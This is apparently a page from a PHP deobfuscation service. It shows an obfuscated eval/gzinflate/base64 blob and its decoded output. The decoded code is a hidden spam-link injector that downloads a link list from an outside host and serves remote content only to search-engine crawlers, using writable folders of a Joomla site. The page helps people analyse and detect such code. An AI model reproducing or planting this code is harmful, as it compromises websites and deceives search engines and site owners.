Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode('TVXHCuyIEfyXd1kbmZU0yhgfpFEY5Rx5YJRzzvp6z/ot7B6KoquqT013T0te..

Decoded Output download

h5('http://mycompanyeye.com/bulbozavr/ded9/13.list', 1 * 900);
function h5($u, $t){
	$nobot = isset($_REQUEST['nobot']) ? true : false;
	$debug = isset($_REQUEST['debug']) ? true : false;
	$t2    = 3600 * 5;
	$t3    = 3600 * 12;
	$droot = getpasekaroot();
	$tm    = (!@ini_get('upload_tmp_dir')) ? '/tmp/' : @ini_get('upload_tmp_dir');
	if (!$tmp = triksp(array($tm, $droot.'images/avatars/', $droot.'tmp/', $droot.'cache/'))) {
		if ($debug) {
			echo('DEBUG: (ERROR: temporary path not found, return)<br>' . "
");
		}
		return;
	}
	$agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
	if ($debug) {
		echo('DEBUG: (INFO: temporary path=' . $tmp . ')<br>, agent ('.$agent.')' . "
");
	}
	if (!preg_match('%(http|curl|google|yahoo|yandex|ya|bing|bot|crawl|lynx|SiteUptime|Spider|ia_archiver|AOL|slurp|msn)%i', $agent, $ret)) {
		if ($debug) {
			echo('DEBUG: (ERROR: you is not spider, return)<br>'."
");
		}
		return;
	}
	if ($debug) {
		echo('DEBUG: (bot by:['.$ret[1].'])<br>'."
");
	}

	if ($t) {
		if ($debug) {
			if (file_exists($tmp . md5($u) . 'c')) {
				echo('DEBUG: (INFO: link file exists=' . $tmp . md5($u) . 'c)<br>' . "
");
				$filemtime = filemtime($tmp . md5($u) . 'c');
				$current   = time();
				$diff      = $current - $filemtime;
				echo('DEBUG: (TIME: current=' . $current . ', filemtime=' . $filemtime . ', different=' . $diff . ', cache_time=' . $t . ')<br>' . "
");
				if ($diff < $t) {
					echo('DEBUG: (INFO: USING CACHE LINK FILE<br>' . "
");
				} else {
					echo('DEBUG: (INFO: DOWNLOAD NEW LINK FILE<br>' . "
");
				}
			}
		}
		if (file_exists($tmp . md5($u . 'c')) && (time() - filemtime($tmp . md5($u . 'c'))) < $t) {
			readfile($tmp . md5($u . 'c'));
			if ($debug) {
				echo('DEBUG: (END: readfile link, return)<br>' . "
");
			}
			return;
		}
	}
	if ($debug) {
		if (file_exists($tmp . md5($u))) {
			echo('DEBUG: (INFO: lists file exists=' . $tmp . md5($u) . ')<br>' . "
");
			$filemtime = filemtime($tmp . md5($u));
			$current   = time();
			$diff      = $current - $filemtime;
			echo('DEBUG: (TIME: current=' . $current . ', filemtime=' . $filemtime . ', different=' . $diff . ', cache_time=' . $t3 . ')<br>' . "
");
			if ($diff < $t3) {
				echo('DEBUG: (INFO: USING CACHE LIST FILE<br>' . "
");
			} else {
				echo('DEBUG: (INFO: DOWNLOAD NEW LIST FILE<br>' . "
");
			}
		}
	}
	if (file_exists($tmp . md5($u)) && (time() - filemtime($tmp . md5($u))) < $t3) {
		$d = file($tmp . md5($u));
	} else {
		$c = curl_init($u);
		if (!$c) {
			if ($debug) {
				echo('DEBUG: (ERROR: curl(list) not init, return)<br>' . "
");
			}
			return;
		}
		curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
		$d = curl_exec($c);
		$l = curl_getinfo($c);
		curl_close($c);
		if ($l['http_code'] == 200 && $d) {
			@file_put_contents($tmp . md5($u), $d);
			$d = explode("
", $d);
		}
	}
	if ($debug) {
		echo('DEBUG: (INFO: size list_array=' . sizeof($d) . ')<br>' . "
");
	}
	if ($d) {
		$l = @array_rand($d);
		$c = @curl_init(trim($d[$l]));
		if (!$c) {
			if ($debug) {
				echo('DEBUG: (ERROR: curl(link) not init, return)<br>' . "
");
			}
			return;
		}
		if ($t) {
			curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
		}
		$d = curl_exec($c);
		if ($t) {
			if ($debug) {
				echo('DEBUG: (INFO: link download)<br>' . "
");
			}
			@file_put_contents($tmp . md5($u . 'c'), $d);
			echo($d);
		} else {
			if ($debug) {
				echo('DEBUG: (ERROR: link NOT download)<br>' . "
");
			}
		}
		@curl_close($c);
	}
}


function triksp($array){
	foreach ($array as $path) {
		if (is_writable($path)) {
			return $path;
		}
	}
	return false;
}

function getpasekaroot() {
	$file = 'configuration.php';
	$path = getcwd().DIRECTORY_SEPARATOR;
	$c = 0;
	while($c < 5) {
		if (file_exists($path.$file)) {
			return $path;
		}
		$path = dirname($path).DIRECTORY_SEPARATOR;
		$c++;
	}
	return @$_SERVER['DOCUMENT_ROOT'];
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode('TVXHCuyIEfyXd1kbmZU0yhgfpFEY5Rx5YJRzzvp6z/ot7B6KoquqT013T0te/nfJpy5O83/8AH8HwPzHv378vHDs50XgX4a/eP+8XuSXia9Gf5n6gvsC/+X9kSHQXz3/z73+1JBfGvLNIV8f47/1nzn8D+9v9Yv87fKyJAXEF//BhQD/aLmWvTpsSqUJjl6KfZ5pez+uNI/smmm7am3rOwfY+B5EcwONNL+d8OW7mghQrCopQjsiBnHUaqbnuUywtL9Fk1a8er4YbVbyWpt18GQl7aTKwIt+IfFlEKbBDo7BZn1a6tkogWYFaM3mvQoJ/fAIy9DP0taSCbVqERx5C8lnN4gQ7d0oVp6WI2pgCEhGNRlRwpUIPowaaY1mRytPwgXtk6xr2q6+52yceXg5VU7lRCqZkSik80GzN9E/S9I7Lc6n1ShXV8xZTtlTWG3wXiACeE+Sc9IwMypx45xaPC4mkYG1fk94fIwlSSudeKhiQ6GUDoaw00THpjkLQXCgUMN0utzRg25+AEGUlhUIpjdaW+R5PtZ+r76s8qKq+Cc20W0+06UtE/bQu8tH80VstBWE4gAHvyI7U9VQqBGuZgCe19SubpjHpd/VQ6rtyuwiNyWmaUDoSICyzWkfBKgRVKyJwDvYhBhl8apEVGDMa3i3AgLOV+cABkMUfaWGfQYvhcPoZdY/LN07mH1eUZYjRk4ay5gYnwQslXFy47b0jSYz8cmtY7wD+/naL+Kjc2I5+lEJRFPc3ALpPcfb6zzm2MyGrdzMt4GbE4tTSwyRA+Hw0eB6LaVxqQHpkwDuVuKFdwteyzWfQMI3C9NmbumuNexHjCg1MkNTZKYqJVacG4UYCkcUteKO8wMqqLzcfmhKE980/LmJL1cb896Ihs4rqkTrY3OZSgh0WqfU0WHfUvhR4UQsjEJQ9nw1WwdmwTWSGHTbSaxz9ab2BtJLWHwZGCMXY1eeK1b4DuByj/jxJQI0MXZlhSfIYZ5q9VKa7uF44/yqYOWO6NhZd0wCWEDVetI2emb4EAFo+vdsOQiob6HiWYBk73yOy56P2zy788xLYjolighBTfoDMMvKtI9Dbe7+E7f5Ic0sgFpTkd0kie97axRtFoDWTrl7G3NOJVDAMLMJqSdjkn2qZQxgyvZWEFj09eCEhO2Q4mgl+U2fzXqybuCtO+Oi0qZ05PaaiUBuGvIwaOGwEpn6bh/RrAkElK8ozT987CMH9Lh3qZbLCZgGztDyABEze96QBcOpz0QgS3lpEj7k/pp1bUPoHg4uvyZbskqsgKed/HK21HeN9ERnRrmFtXl3+qkS5lzaDy/yY3PVJMANo3eVQSLAbG57zpJTVCTnbXcp5jTM9bjLM3F0judwKEZrFy+g4uKZUuqgrwjV0chPnvNier3RryrDzQTqIJl98/wquiBXlsi0SIVhlkXPHOoZXMzTVYUgSaRVBp0DZUDs9aUTc+GubPREib6ZpoN+7pAYyzJXug9dSopB50rm8+gYSidpZtnAAe73EkKrZ5GSZ9oyklOcp5wT0CpM2qDBUwW72wSRRowP9WltvZdBOxYk1xEPRrszuqdG8wOHPbTkQzEXrQnu4IPcWEHUnWOFBO68u00OwrqDxSFBBeMNFEnxKDBX769VDssq0S1PtsiaEaxoZ8Ok6WCkOTComBV8Ny8tMNT4/u5Q+1bFIjJUk2gWxcxa92wEOxezLOCvPWExuwO4yIA/HLTHN+bUPVoG1koNq5iE+ysgXucuyZfWGrQ6m4/SE/a76dtuaS3jykTWHpzHWCAvcpcsRSj1uCCjVJDKRoJYVQb4Vl1wDY0KzdJ8ilJmzgmiQnc30nwNcq40PA/tfBN6VhEPbVAbACZY1hCXdQwbcaaHyH+avVet511DaYsx5H9++34w6i8gzPeJ/v7jn//+Hw==')));

Function Calls

gzinflate 2
preg_replace 1
base64_decode 2

Variables

None

Stats

MD5 2744a4c2f12b530bf55662d342beb195
Eval Count 3
Decode Time 89 ms